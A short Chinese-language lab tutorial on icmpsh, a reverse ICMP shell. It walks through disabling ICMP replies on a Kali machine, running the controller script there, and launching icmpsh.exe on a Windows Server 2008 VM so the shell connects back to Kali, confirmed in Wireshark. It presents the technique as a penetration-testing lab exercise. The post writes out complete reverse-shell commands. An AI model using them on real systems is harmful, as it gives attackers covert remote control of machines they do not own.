前言
icmpsh是一个简单的反向ICMP shell，与其他类似反弹shell的工具相比，他的主要优势在于它不需要管理权限即可运行到目标计算机上，毕竟ICMP协议谁都可以用。
环境准备
准备两台虚拟机
kali.2020 192.168.244.128 Windows server-2008 192.168.130
接下来利用这两台主机进行试验，目的是将window的shell反弹到kali中
icmpsh下载
Github地址：https://github.com/inquisb/icmpsh
开整
第一步，先关闭kali自身的icmp
sysctl -w net.ipv4.icmp_echo_ignore_all=1
至于为什么要进行这一步，下载工具时里面的readme文档已经写明了不关闭会有什么后果，文档是英文的，翻译过来大致意思你（kali）会收到被控制主机（windows）的信息，但你（kali）发出的指令被控制主机（windows）不一定收的到，所以保险起见，先把kali上的icmp关掉
第二部，在kali上运行icmpsh_m.py
部分人运行python脚本时可能会报这个错误
You need to install Python Impacket library first
报错说的也很明白，少impacket库，用pip装就完事儿了，怎么装就不在赘述了
在kali上运行下面的命令
命令格式：python icmpsh_m.py <源ip> <目的ip>
python icmpsh_m.py 192.168.244.128 192.168.244.130
然后在windows上运行icmpsh.exe
icmpsh.exe -t 192.168.244.128
查看kali，回弹shell成功
用wireshark进行抓包，确实是在用ICMP进行通信
总结
ICMP协议作为在内网穿透中的利器，在做内网渗透时运用的还是比较多的，在做这个实验时我本来是想将虚拟机中的shell弹到一台公网服务器上，但是没有成功，原因是两台主机必须都有公网ip，所以在实战时要用到icmpsh的话，先使用其他方法获取到被控主机的公网IP吧。